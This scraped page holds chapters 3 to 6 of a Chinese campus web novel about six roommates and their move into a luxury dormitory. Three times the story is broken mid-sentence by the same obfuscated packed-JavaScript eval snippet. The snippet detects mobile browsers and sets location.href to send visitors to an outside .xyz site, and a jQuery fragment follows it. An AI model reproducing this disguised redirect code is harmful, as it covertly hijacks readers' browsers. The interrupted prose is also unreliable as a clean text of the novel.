郑筱翻了个身,床发出“吱吱咯咯”的响声,她的声音直直地从旁边传过来——学校的床似乎不怎么结实。 幸好刘小叶没睡在上铺,否则我真心为睡在她下铺的人担心。 就刘小叶那个体重,刚刚她翻身的时候,床就发出快要断气一样的剧烈声响,总让人感觉在下一秒它就要罢工崩塌。要是床榻了,睡下铺的人就是第一受害者,分分钟要被压得够呛。 也不知道宿管科是不是早就对学生做过调查——我们宿舍,睡上铺的是清一色的瘦子。 郑筱没见到陈梦晓,她来的时候陈梦晓已经躺在床上了,所以她根本没见到英气飒爽、阳光灿烂的“小陈哥”。用陈梦晓来做类比,当然她的脑子里映射出来的就是五官漂亮精致甚至可以男扮女装的小男孩。可实际上,陈梦晓的眉眼并不能用精致形容,她的五官单拆开来看,并不显得多漂亮,但组合到一起却无比的和谐且英气勃勃,把现在那些走阴柔美路线的男生甩出去好几条街。 “哈哈,原来你们都没睡呢。”刘小叶兴致一下高了起来,她从床沿上探出半个身子,发出一声巨大的“吱呀”声:“小西,你怎么不说话呢?” “我对帅哥不感兴趣。” 我打个哈欠,今天一早起来赶飞机,坐了两个半小时的飞机,然后打车到学校,我的每一根骨头都在叫嚣着要散架了。而现在,我特别担心她的床塌了。 还没等刘小叶说话,郑筱又开口了:“哪有那么多帅哥,现在一个学校里长的稍微周正一点都是校草了。” “等你见到了,你就不会这么说了。”刘小叶信誓旦旦。 许苑薇催促说:“刘小叶,说重点,不然我就睡了。” “别急嘛。”刘小叶伸了个懒腰,但声音里却透着亢奋:“三剑客是会计系的陆亦,计算机系的简瑞洺和法律系的叶翔。他们不仅仅人长得帅,学业也很优秀,他们三个应该都修满了学分可以提前毕业。陆亦自从入学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997339|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以来,就保持会计系第一的成绩,据说他已经收到了好几家知名会计事务所和审计公司的offer;简瑞洺非常低调,虽然成天宅在宿舍里写代码和打游戏,但丝毫不影响他在铭盛校草界的大神地位,听说他自己开了个游戏公司,不过不知道真假;当然,他们当中最引人注目的是叶翔,他是法律系高材生,他读大一的时候就修完了两年的学分,会弹钢琴,打得一手好篮球,简直是头号少女杀手,他刚进铭盛就把原来常年占据校草排行榜的大三学长林琅晟挤下了校草宝座,听说他一个月收到的情书比我们考卷还多。” “有没有那么夸张?”郑筱的头从被子里钻出来,一副不可置信的音调,“没想到铭盛的大神也不少呀,我以前觉得铭盛出不了学霸。” 刘小叶的声音飘过来:“铭盛还挺神奇的,隔几年就有个传奇人物。金融系有个叫傅冲的学长据说是金融奇才,他当时不过才大三就已经身家几百万了,全都是自己炒股票赚回来的,可惜他已经毕业好几年了。” 一直没吭声的凌静宜突然开口了:“不完全是股票,还有对冲基金和港股涡轮。” 这些专业名词听得我一头雾水,股票我还多多少少知道一点,对冲基金就不是很明白了,至于什么涡轮,好像听我爸说过几次,但完全不知道是什么。所以,我没有搭腔。而其他人也没说什么,我想大概跟我一样,生怕一开口就显示了自己的无知。 尽管如此,刘小叶的卧谈热情似乎并没有被打压,反而兴致愈发高涨:“不管他,反正他就是很会赚钱就对了。”突然,她的笑声无比欢畅:“今年估计要出另一棵校草了,小陈哥,你会给体育新闻系增光添彩哦……” 有一个冰冷的声音从下边幽幽地传来:“刘小叶,你打听的这么清楚,是打算追哪一个?” 刘小叶脱口而出:“我哪儿敢啊,我男朋友不揍死我才怪。” “啊~~”我们不约而同整齐划一地发出了一声抑扬顿挫的感慨。 许苑薇的语气里透着羡慕:“刘小叶,没看出来,你竟然是名花有主的人了啊。” 瞬间,刘小叶就从一个唐朝豪放女变成了青涩邻家妹,她咬着被角,声音含混不清:“这个……呵呵……瞎猫碰到……死耗子……” 我还来不及同情刘小叶男朋友,就被她接下来的话雷地外焦里嫩:“你们没男朋友?我才不信……像周小西和郑筱这样的妖孽,肯定追的人此起彼伏,前仆后继,说不定都能绕百里湾广场(这是W市最知名的购物商场)好几圈了……” 我相信如果不是因为已经熄了灯,肯定能看见郑筱和我眼睛里冒出来的熊熊火焰。我再一次对刘小叶的文字运用功力表示拜服,她怎么就能把好好的成语用成这样——好像我和郑筱是从哪个深山老林里冒出来的妖精——博大精深的中国文化在她这里也不知道是该说焕发新生还是说变成糟粕。 “刘小叶,你没有看过自己的课表吧?”凌静宜开口了:“如果我没记错的话,明天8点钟你有一堂概率论。” 在她说完这句话之后,就听见刘小叶的一声惨叫:“什么?大学难道不都是下午才开始上课吗?” 凌静宜继续补刀,“听说铭盛还有跑操的优良传统。” 听完这句话,所有人几乎全部停止了动作,以自己最容易入睡的姿势躺好,祈祷自己能够迅速被周公青睐…… 第二天早晨,在郑筱的一声尖叫中拉开序幕。 “啊!!!你怎么进来的?!这是女生宿舍!我喊阿姨了!” 她正准备去洗漱,撞见从外面晨跑回来的陈梦晓,吓到花容失色。 陈梦晓像看神经病一样地看着她,翻了个白眼:“我是陈梦晓。”然后甩了甩头发进了宿舍,留下郑筱一个人站在那里凌乱,她总算见识了刘小叶口里碾压校草的“小陈哥”,果然闻名不如见面。 凌静宜已经不在宿舍了,而剩下的几个,因为一早见过小陈哥,一副见怪不怪的姿态。 刘小叶经过郑筱身边,贼贼地笑着问:“小陈哥是不是帅到炸裂?” 郑筱拍着胸口,长长地吐出一口气:“都快吓死了,能顾得上帅不帅才怪。” 在概率论的课堂上看到凌静宜的时候,我和刘小叶都很诧异。跑操的时候听刘小叶说,我们宿舍只有我们俩是同一个专业,并且只有我们专业变态地把数学课放在了早上第一节。哎……想睡个懒觉都没条件。 更令我诧异的是,作为昨晚最后一个睡觉的人(起来上厕所的时候,她坐在床上口里念念有词,我差点没吓死),居然端端正正地坐在第四排中间位置——学霸专属区域,她究竟是多早过来占位置的? 下课的时候,刘小叶想要拖着我去跟凌静宜打招呼,而后者,迅速地拎起她的YSL托特包,快步走了出去。她走路的样子,好像踩着一对风火轮,可能只有哪吒才能追得上她。 我给了刘小叶一个自讨没趣的眼神,她冲我笑得一脸谄媚。 4. 第 4 章 凌静宜挎着最新款的YSL包包,快速地穿过仍在施工的教学楼,对着手机严肃而冰冷地发表着观点:“我不能理解,作为一座空置的宿舍,为什么不对其做出最合理的利用?!W市的房价3.58万一平米,那么在郊区,保守估计均价在2万左右,而你们居然空置1栋占地600平米的3层宿舍楼,这是对3600万元资产的浪费!” “同学,校方不需要向任何人交代我们如何使用学校资产。”对方顿了一下,“铭盛最引以为傲的传统是没有特权。” “这个宿舍我住定了。”凌静宜咬牙切齿地说。 “同学,如果你凑齐了六个人,随时欢迎你搬进宿舍。”那位老师显然已经见惯了这种情况:“顺便说一句,现在W市郊区的均价是2.48万一平米,宿舍的占地面积是628平米,三层结构。” 凌静宜错愕了三十秒,才领会到对方最后那一句话的意思。她最引以为傲的就是自己的记忆力和精准性,从小就连她父亲都对她对于数字的敏感度赞叹不已,而今天她居然估算错误了1000万,这简直是对她的智商赤裸裸的侮辱。虽然在商业社会里,没有人会关注郊区没有任何开发价值的学校地产价值,但如果这是一次地产竞标,如果对方的信息属实,那么她在出价之前就已经out了。 在她还想继续跟对方争辩时,那边已经迅速地挂断了电话。 她深深懊悔为什么没有在打这通电话之前详细地查阅一下W市郊区的地价,对于凌静宜而言,精准的数字才是世界上最具有美感的东西,当然,如果金钱和数字结合在一起,那简直是无与伦比的完美结合,所以她义无反顾地选择了金融。 火速从包里掏出Kepager公司出品的迷你笔记本,在上面一阵敲打之后,嘴角露出了谜一般的笑容。但她再次拨打电话,对方回应的是毫无意义的忙音。她从在建的教学楼一直走到最远的第一食堂,电话仍然没有接通。 凌静宜最讨厌的事情就是等待,没有之一。在她的字典里,只有往前冲,待在原地不动是对生命的浪费,而向后退更不可想象,那跟自杀有什么区别? 所以,她不会为任何事停留,也不会为了任何人等待…… 凌静宜拨通了另一个电话:“Jacob,我要教务主任的私人号码……对……现在,马上,立刻……” 当她在手机按键上狠狠地按下对方电话号码之后,电话里终于传来“你好……”的时候,她的脸上带着愉悦的胜利笑容:“627.29平米,不到628。” “什么?” “那栋宿舍楼的占地面积。” 电话那头停顿了片刻:“不得不承认,我很欣赏你……但是,六个人入住,没得商量。” 凌静宜还没来得及说话,手机里又再一次传来了对方挂断的声音。她不可置信地张大嘴巴,她竟然在同一天被同一个人挂了两次电话。 震惊,然后是无比的愤怒。凌静宜用力地把手机摔进包包里,然后板着脸走向食堂的楼梯。 一个人从她身后快速地冲过去,一下子把她撞倒在栏杆拐角处,新刷的绿色油漆在她白色连衣裙的胸口部位不偏不倚地印上了一个“V”字。凌静宜在心里骂了句“Shit”,这条Givenchy限量小白裙从预订到拿到手足足等了三个半月,今天第一次穿就彻底报废。 她正准备自认倒霉向前走的时候,现实对“祸不单行”做了最佳注解:她的高跟鞋跟正好卡在了楼梯裂开的缝里,她向上努力地拔了几下,然后听到清脆的一声响——7厘米的鞋跟从她那双Manolo Blahnik鞋底脱落,以优雅的弧度划出一道抛物线,落在几米外的地面上。 当我踏进宿舍门的时候,就看到凌静宜笔直地端坐在她的椅子上,一脸怨气。 “你想不想搬宿舍?”她看着我,几乎是从牙齿缝里挤出这几个字。我差点以为她要对我实施暴力措施,如果我不同意的话,她会强行把我从502拖出去,再塞进新宿舍里。 然后,我看见她们几个一脸无奈的样子。 刘小叶冲我耸耸肩:“别看我,我们已经受过一轮惊吓了。” “难道那个不是威逼利诱?”许苑薇义正言辞地纠正。 郑筱的目光从许苑薇脸上转到刘小叶,然后再望向我,说:“有利诱吗?我一直以为只是威逼。” 凌静宜面无表情地宣布:“24小时不间断的热水,不会断电。两个人一个卧室,每个卧室有独立空调。独立卫生间,客厅公用,冰箱公用,洗衣机公用。不完美,但能住。” 本来还在犹豫的刘小叶马上倒戈:“铭盛有条件这么好的宿舍?多少钱?” 许苑薇小声问:“那应该很贵吧?” 凌静宜的脸上依然像结了冰一样:“不要钱,我全包。”接着,她那双好看的丹凤眼微微向上挑起:“该死的杜绝特权。” 躺在床上的陈梦晓扭了一下脖子:“啊……现在是彻头彻尾的利诱了。” “这不太好吧。”刘小叶迟疑了一下,说:“大家都是学生,我们不能这么占你便宜。”她掰着手指算了一下,说:“我最多只能承受每个月再多交500块……” 陈梦晓从床上坐起来,左右晃了下脖子,然后淡定地说:“没错,该出的钱还是要给的。多少钱?” 郑筱站在那里没有说话。 许苑薇已经计算完毕,耷拉着脑袋:“我还是不跟你们一起搬了,我顶多每个月能拿出200块,肯定住不起那么好的宿舍。” 她们齐齐看向我,刘小叶可怜兮兮地凑到我旁边,问:“小西,你想不想搬呀?” “搬呀。有条件更好的宿舍,干嘛不搬?”享乐这件事情,一旦在骨子里扎了根,就很难被拔除,我当然也不例外。 “你们同意搬?”凌静宜的脸上闪过一丝惊诧,她刚提议搬宿舍的时候,几乎全线反对。原来以为大家是嫌麻烦,现在看,是她把问题想复杂了。 我看着若有所思的凌静宜,继续说:“不过就像小陈哥说的,该给的钱还是得给……”我顿了一下,瞄了刘小叶一眼,然后说:“不过我也只能每个月多出500……” 郑筱咬了下嘴唇,要在生活费之外再拿出一笔钱来换宿舍,并不划算。况且在她看来,现在的宿舍条件也不差。但大家都搬的话,她一个人也不知道该怎么办。 她正在盘算怎么开口,凌静宜吁出一口气:“真的不要钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997340|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来我打算自己搬的,但那边宿舍规定必须六人入住。而且这间宿舍的钱学校肯定也不会退……再收你们钱,这不合理。” 尽管我们坚持,但凌静宜更坚持。最后,凌静宜没收我们一分钱,不过她同意了我们的提议:在明年开学时把502宿舍退了,把住宿费交给她。对于我们来说,这好比酒店免费把标间升级为套房,而对她来说,以更少的价格住到心仪的房子,皆大欢喜。 凌静宜走出去打电话,回来的时候一脸胜利的喜悦。 第二天,我们就收到了搬宿舍的通知,效率高得惊人。 虽然凌静宜说学校杜绝特权,但在我们看来,正是由于她的特权,我们在A栋502住了两晚之后,浩浩荡荡地集体搬进了铭盛最奢华,同时也最空寂的宿舍楼——我们搬进去的时候空无一人。 这栋楼虽然外表看起来跟普通的宿舍没什么差别,但内在却极尽便利和奢华:每个房间里都有独立的卫生间,最令人发指的是,居然还有个单独的浴缸可以泡澡。 刘小叶走进浴室的时候,大喊了一声:“我靠,这是按照五星级宾馆的标准建造的吧?” 小阳台正对着在建的人工湖,我走到阳台上,微凉的风很舒适。在这一刻,我的心情就像怒放的礼花一样,这个到处施工的校园看上去也没有第一天那么不堪入目。 说实话,第一次住集体宿舍虽然很新鲜,但跟所有人挤着刷牙洗脸的体验却让我抓狂。尤其想到还有要跟所有人一起洗澡,虽然大家都是女孩子,但带给我的震撼感还是像在尼罗河里洗天体浴一样。我还在想怎么样硬着头皮去适应,没想到凌静宜雷厉风行地在第三天就解决了这个大问题。 客厅里放着大冰箱,阳台上有全自动洗衣机。 在我们入住的当天,就有家具和家电陆陆续续送过来。凌静宜从知名的欧洲家具卖场买了沙发和茶几,还有白色的纯羊毛地毯,主打简约风格,虽然不是什么奢华的品牌,但对于穷学生来说,价格不菲。她还买了专门放冷饮的小冰箱和饮水机,甚至还有咖啡机和烤面包机。 凌静宜慵懒地靠在沙发上,慨叹了下:“这样才是生活的样子。”然后,她说:“除了我房间里和浴室里的东西,其他的公用。我早上需要喝咖啡,声音可能会有点大。” 刘小叶和许苑薇偷偷吐了下舌头,这不是简单的生活,而是奢华的生活。 我们欣然接受,只是因为每个人骨子里都有着对美好生活的向往,就算现实生活一片泥泞,也挡不住迷幻的憧憬。 ——如果说是在这样的环境下开始大学生活,像是某部电影里虚构出来的情景,我没有想到我们未来的生活比电影还要精彩很多。 后来,刘小叶私下问我:“小西,说实话,如果当时我们要加多过500块搬过来的话,你还会搬吗?” “啊……”我歪着脑袋看她一眼,然后扯了个幌子:“应该还是会吧,虽然不富裕但省吃俭用还是能负担得起……你呢?” 她迷醉地看一眼四周,说:“我只知道,如果我没搬的话,现在应该会后悔死。简直物超所值,对不对?” 我点点头,看着她张开双手扑向沙发的样子笑了,“也对。” 5. 第 5 章 正式开学一个星期之后,我才发现原来我们六个居然来自四个系:刘小叶和我是国际经济与贸易系,凌静宜和许苑薇是金融系,陈梦晓是体育特长生读体育新闻,而姗姗来迟的郑筱是英文系。 我们这样一个宿舍组合估计在整个铭盛都独此一家。根据学校规定:同一个学院的分配住一间宿舍,而我们六个人居然来自四个不同学院。后来才知道,我们都是每个学院分到最后多出来的,硬生生被拼到一个宿舍里。 在新宿舍,凌静宜跟陈梦晓住一间,我跟刘小叶住一间,许苑薇和郑筱一间,依旧没有遵循学院分配原则。 我的日常是和刘小叶一起去上必修课,然后一起回宿舍。一到宿舍,刘小叶就开始拆零食看漫画,我除了看三岛由纪夫、马尔克斯之外,最喜欢做的事情就是打开电脑写文章,当一个个文字从键盘的噼啪声里蹦出来,我的心情就像是看到漫天的烟花突然在漆黑的夜空里绚烂地绽放一样,有微微的眩晕感。 不同学院的排课完全不同,所以最常见的情况是:我和刘小叶回宿舍了,正好郑筱出去上课;或者陈梦晓训练回来,而我们在客厅里看杂志…… 可恨的是,国贸系所有的数学课都在早上的第一堂;更可恨的是,只有国贸系的数学课排在早上第一堂……不患寡而患不均,此时尤甚。平时还能忍,但在经历了甜美的周末之后,仿佛快进一般来临的周一,简直是万恶的存在。 每周一的早晨,她们都还在甜美的梦乡里沉睡,我和刘小叶就已经顶着硕大无比的黑眼圈去听让人生不如死的微积分。 真不知道是哪个老师排的课,每次我在课堂上张大嘴巴打哈欠的时候,都能看见快秃顶的数学老师半翻的白眼球,我在内心哀叹:祖国的花朵都是这样被蹂躏成了黄脸婆。 我回过头去看坐在后一排的刘小叶,她已经不顾形象地整个趴在课桌上,如果条件允许,我丝毫不怀疑她会躺成大字型,舒展她的身体。 对于只有我们俩早晨上课这件事,刘小叶愤愤不平地抱怨:“太没天理了,她们过的简直是醉生梦死的堕落人生!”当然,这一点完全用不到凌静宜身上,她严格执行着所谓成功人士的作息标准。 每天早上6点半,她已经准时坐在客厅里,完成那一系列繁琐到让我惊叹的护肤程序。我想,大概只有我妈那朵保养界的奇葩,能够与她媲美。浴室里的那些瓶瓶罐罐,随便一个都能购买M市的一平方米房子——现在,M市的地产均价是15000元。 最后一道护肤程序完成的时候,许苑薇的闹钟响起来,我们知道7点了,即将开始新一轮跟床难舍难分的搏斗。 她喝着咖啡,开始每天规律的阅读。通常在我们还在睡梦当中,她已经读完了当天的《The wall street journey》和《Financial Times》,并且用她的笔记本电脑做好了笔记和自己的分析。吃完烤面包之后,把课本扔进她的LV包包,在9点40分出门去上课。偶尔,她会出现在我们的数学课堂上,没意外情况的话,她会坐在第三或第四排中间的位置。 周末通常她会回家,但我怀疑她的周末跟平时没有什么不同。周末的早晨,和任何一个工作日的早晨一样,6点半开始保养,然后去参加聚会。 对典型的国外上流社会成功人士来说,周末这个词,是一个不用去办公室,但可以在各种聚会或早餐会上勾搭人脉、谈成项目和敲定合同的代名词。 事实上,这样的人我身边有很多,包括我爸。当周末的第一缕阳光出现在M市的地平线上,我爸就已经健完身,精神抖擞地跟他的合作伙伴在M市的标志性建筑——寰瀚大厦的顶楼露天咖啡厅,喝着216元一杯的咖啡,边吃早餐边谈项目。在他们约着下一次一起吃早餐的时候,一张过亿的合同通常已经敲定;他们甚至会打电话让秘书准备好合同,以便于在下一个工作日的早晨就签字落实。 如果我爸哪一天留在家里吃早餐,那绝对是因为他的合伙人、目标客户和潜在生意伙伴都去了国外。而他依旧会在7点钟之前游完泳,7点半准时出现在餐桌前,读当天的金融报纸,喝完咖啡之后开始打国际电话。 我妈虽然不谈生意,可她每天跟我爸一同起床,简单保养之后在家里的健身房锻炼,7点半必然会开始吃早餐,接着去做水疗和堪称抗衰教科书的后续保养,然后去学校和舞蹈教室教课——我妈的自律表现在她从来不会做任何计划外的事情,而对于自己计划内的事情有任何偏差都会让她抓狂——她完全没有艺术家的慵懒做派。我一直觉得非常诧异且遗憾:艺术家的不羁、随性、慵懒、浪漫,这些特质在我妈身上完全无法存在。除了热爱珠宝和时尚之外,她更像是个科学家。 而我绝对是个变异品种,在我的字典里,如果周末不能睡到自然醒,那它跟普通的工作日有什么差别?把周末当作工作日的延续,那绝对是对周末的不尊重,噢,不,是对人类休憩智慧的不尊重。 在家的时候,我妈强制我每天最晚7点起床,7点半跟他们一起吃早餐。实际上吃完了早餐,我就会躲回房间睡个回笼觉或者倒在房间沙发上看各种闲书。 大学生活最让我最满意的是除了周末,还有没课的日子——我可以花所有的空闲时间看书、看杂志、码字和睡觉,真是完美。 虽然我和我的精英爹妈天差地别,但有一点,我完美地继承了我爸——对于我不感兴趣的事情,我从来不浪费任何时间。比如现在,我翘了一节思想道德修养课,躺在床上看最新一期的《N.Z》杂志。 如果说《Vogue》是时尚杂志中的领头羊,那《N.Z》则是集文学、时尚、艺术和美学于一体的佼佼者。自从来到W市,我就迷上了这本杂志。比起那些晦涩难懂、让人一听就想打瞌睡的微观经济学原理,《N.Z》才是人类智慧的结晶。 当然,为了不引起宿舍里另两位学习狂人的口诛笔伐,我把这个想法藏在了自己的脑子里。 我们因为凌静宜的缘故才住进了奢华的宿舍,可我们跟她彼此私底下关系并不亲密。她通常独来独往,我们在她眼里就像是没长大的一群小屁孩,她只跟我们保持着无关痛痒和最基本的交往。我们之间的交流只限于“吃了吗?”“明天有课吗?”“谁把客厅的灯关一下?”。 也许在她看来,我们完全是两个世界的人。而从日常行为来看,我们也确实是两个世界的人。 我们私下都认为,凌静宜的行踪诡异,在她没有课的日子里,她通常不会出现。当然,我们也没有在阶梯教室、食堂和学校的其他角落和她偶遇。我们有交集的部分除了宿舍,就是交叉课程。她坐得离我们很远,下了课就走,从来不跟我们一起吃饭。 刘小叶甚至揣测:“哎,你们说,凌静宜不会是卖毒品的吧,不然她这么有钱还这么神秘。” 郑筱就算是眉飞色舞,看上去也依旧清纯动人:“那我宁可去卖毒品……” 许苑薇胆子一向比较小:“不会吧,卖毒品是要坐牢的。” “别瞎猜了,你看哪个毒贩子会没事跑来读大学?”我对于刘小叶天马行空的想象力表示叹服,她要是去写小说,估计那些网络写手都要去喝西北风了。 刘小叶一副恍然大悟的样子:“也对哦,贩毒这件事小学文凭估计就够了。况且,穿着香奈儿去卖毒品实在是太浪费了……” 郑筱和许苑薇笑得前仰后合,穿着香奈儿卖毒品,也只有刘小叶才能想得出来。 我们聊到最后也没得出任何结论,而凌静宜依然每天踩着7公分以上的高跟鞋,穿着Givenchy, D&G或Channel精神抖擞得继续神秘着。 陈梦晓跟我们在一起的时间也很少,她除了新闻系的课要上,每天还有固定的体能训练,她的训练时间超过3个小时。 光是每天训练结束之后的跑圈,就让我们退避三舍,尤其是我。从初中开始,800米跑成为了体育课常规考试项目。自那以后,体育课就从我的放风时光彻底沦为了噩梦空间,我找遍了几乎能找的所有借口。最让李离耿耿于怀的一次,是我逼着她在起跑后的三十秒假装晕倒,然后我马上跑过去把她扶到了医务室。而那天正好她的男神萧楠也在操场上,离我们大概不到200米。事后,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997341|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花费了两顿和牛才把这事儿摆平——看,美色和美食孰轻孰重,试一下就知道了,若为美食故,男神皆可抛。 想到这里,我由衷地感叹:大学最人性化的就是终于不再把800米列为考试项目。 我曾经跟李离吐槽:高中时候把跑步计入学年成绩,难道是为了让我们在知识解决不了问题的时候就赶紧逃走?而现在,对于体育新闻系还要进行体能训练,我也百思不得其解,难道是怕他们追不上运动员做采访? 尽管我认为体能训练跟□□折磨是同义词,陈梦晓对这些常规训练并不反感,而且她还热衷于打篮球和游泳。不过在无数次被女生尖叫着从女更衣室赶出来之后,她终于放弃了在学校泳池游泳。 即使运动强度很大,陈梦晓并没有练就壮硕的肌肉和宽广的肩膀,反而骨骼均匀,恰到好处的肌肉让她整个人神采奕奕,一件普通T恤她穿都显得与众不同。 有一次她帮许苑薇拿书架最高一层的《高等数学》练习册时候,露出了诱人的马甲线,刘小叶大呼着受不了冲出了宿舍。 我们每每表现出对小陈哥的马甲线艳羡不已、垂涎欲滴,她就浑身不自在。终于她忍不住提议:可以带我们一起运动。然后我们四个就陷入了集体装死的状态,最夸张的是刘小叶,她马上连小拇指都抬不起来了。 我们私底下一致认为,现在的宿舍分配堪称完美。虽然陈梦晓和凌静宜穿衣风格、家世背景完全不一样,但她们两个人都属于高冷冰山型,气场契合……虽然两个人的作息不一致,但互不打扰(刘小叶认为是互不理睬)……她们不约而同跟我们没有交集,交际观一致……看,多么适合住一起的两个人。 除了他们两个人之外,我们剩下的四个人关系倒是一路升温。 我自认为属于不容易跟别人熟悉及成为朋友的那类型,从初中到高中,我只有李离一个死党,而我们俩之间是经过了初中三年的时间磨合才建立起了友谊。没想到,上了大学,居然莫名的就跟三个陌生人成了朋友,而且熟悉的速度与我对自己的认知不成正比。 刘小叶就算了,她自带搭讪属性,况且我们俩每天一起入睡,共用同一个洗手间,关灯之后一起讨论她热衷的各种八卦,当然她谈论的最多是异性……不熟才真的奇怪。 而许苑薇和郑筱,似乎就是在刘小叶的自来熟属性下跟我们越走越近。 事实上,就像刘小叶说的,当你每天跟固定的那么两三个人一起吃饭,就是建立友谊最坚实的基础;虽然我的内心是抗拒的,又不得不承认,如果有那些人,你愿意天天跟他们一起吃饭,不管每个人爱吃的东西是不是一样,那从内心深处,或多或少都是有认同感的。 刘小叶还说,考验友谊的终极武器是涮火锅——因为你完全不知道是不是有人爱吃猪脑、鸭肠、黄喉等等一系列让人不可置信的食物,你也完全不知道是不是有人喜欢在酱料里放满大蒜,你更不知道是不是有人会吃着火锅喝着可乐唱着歌…… 我从来没跟别人一起吃过火锅,就连和我爸妈都没有,所以对她的说法,我抱持着似信非信的态度。 说真的,火锅这个吃法,对于我来说既陌生又可怕。 要知道,吃火锅这种事情,在我的字典里,是地沟油和脏乱差的另一个表达方式。这个观点来源于我妈,她一直认为火锅非常不卫生,跟精致更是没有一点关系:一盆不知道什么做成的红乎乎汤底,不管是肉还是菜都往里丢,所有人的筷子都在里面肆意来回拨弄,简直没法让人有食欲。 我们家里严格执行分餐制,除了西餐,就连中餐,也是事先分好放在每个人盘子里,如果想要再添,Amanda会帮我们用公筷夹到各自盘子里。 所以,吃火锅餐桌上会出现什么稀奇古怪的食材完全超越了我的认知范围,我完全没法想象一个活生生的猪脑会被摆在桌子上,而且还要扔进锅里…… 幸好,由于铭盛离市区很远,加上周边的小餐馆都是黑暗料理培训班毕业的,我们一直都混迹于第一和第四食堂。截至目前为止,我们没有碰到任何可以考验战斗友情的情况,我偷偷吁出一口气。 6. 第 6 章 第一次考试来得猝不及防,谁能想到大学里居然还会有月考这种东西,这简直是高三的翻版。 听到高等数学老师笑眯眯地通知下周月考的时候,我怀疑自己穿越回了高考之前,三天一小考,五天一大考,考得我们外焦里嫩。 刘小叶哭丧着脸:“有没有搞错?我以为进了大学就是人间天堂,没想到比高中还人间炼狱。这哪是大学,明明就是高四!” 大学,对于我们来说,是不用再管学习的代名词——爱上课的时候上课,想逛街的时候逛街。至于成绩,那是个什么东西?期末考个能交代得过去的分数,然后不就应该是监狱里的放风时间——可以拼了命地撒欢儿。 现实与想象相悖:规律的上课,早晨跑操,外加周一到周五晚上6点半开始9点半结束的晚自习,甚至还有老师查房的生活,已经无异于美好大学生活的淬灭了。真是没想到,这些只是重磅炸弹的第一波,竟然还有规律的考试在等着我们。 我和刘小叶对于跑早操无能为力,但我们躲避晚自习的方式很简单:从外面锁上门,不开灯,坐在乌漆麻黑的房间里发呆。当值班老师举着手电筒从门上的玻璃照进来的时候,我有一种穿越敌方探照红外线的感觉。事实上她的侦察范围到客厅为止,我们躲在房间里,根本查不到。但一开始我还是紧张得连口气都不敢喘…… 等老师走了,我们就待在宿舍里看书、听音乐、玩游戏、吃零食、聊天,比高中时候做数学题、摸底考和试卷分析要有趣得多。 正因为这样,大学还没显得让人完全无法忍受。 可现在,我真觉得在入学的第一天就应该决绝地拖着箱子回去复读…… 刘小叶掏出电话,刚接通就开始哭诉:“大骗子欧祈,我真是瞎了眼了,才会听你的话,跑来读铭盛……”(我一直没想明白听谁的话和瞎了眼有什么关系),她极尽所能用刘氏独门语言描述她的悲惨境地,比如最近菜很难吃,不仅要一大早起床,而且天天三更半夜才能睡等等,不知道的人如果从中间开始听,会以为她被骗进了某个传销组织,而欧祈就是那个向她画着“未来你将是亿万富翁”的大饼,实际上却让她每天啃咸菜馒头的传销头目。 我揉揉眼睛,乍听之下,就连我都觉得她是真的处在水深火热之中——刘小叶才是最适合做传销头目的家伙。 第二天中午,我们决定在第四食堂里吃午饭。根据刘小叶的线报,第四食堂的大厨大发善心,居然同时做了我最爱吃的肉圆汤和红烧鸡翅。 刘小叶对鸡翅赞不绝口:“小西,你别说,这个鸡翅比肯德基的都好吃。欧祈这一点没骗我……”真不知道昨天谁在电话里哭着喊着让欧祈从市区给她带炸鸡翅?! 我们刚从第四食堂走出来,一个大男孩从阳光里迎着我们走过来,我眯起眼睛,看他从朦胧的影像渐渐变得清晰。而刘小叶则发出了一声欢呼声:“欧祈!”然后一头扎进了来人的怀里。 “你怎么知道我在这儿?”刘小叶仰起脸,像一只小狗一样在他的胸口蹭来蹭去。 欧祈一脸嫌弃的表情:“整个铭盛就属第四食堂的菜最好吃,你个标准吃货,不在这还能在哪儿?”然后他把肯德基的纸袋塞给刘小叶,说:“喏……你要的炸鸡翅。” 刘小叶一边接过鸡翅一边嘟囔:“今天在食堂吃了红烧鸡翅了,炸鸡翅就当下午茶吧……”然后她疑惑地问,“你怎么会跑来?” 欧祈的脸上泛起一股酸气,“我下午没课,某个人不是一直嚷嚷着要吃炸鸡翅吗?早知道你有鸡翅吃,我就不大老远跑过来了。” 刘小叶一脸谄媚的表情,“就知道你对我最好了……” 他伸开手臂,把刘小叶拢进臂膀里,用下巴在她头发上蹭了蹭,然后又亲了两下,接着皱起眉头问:“你几天没洗头了?” 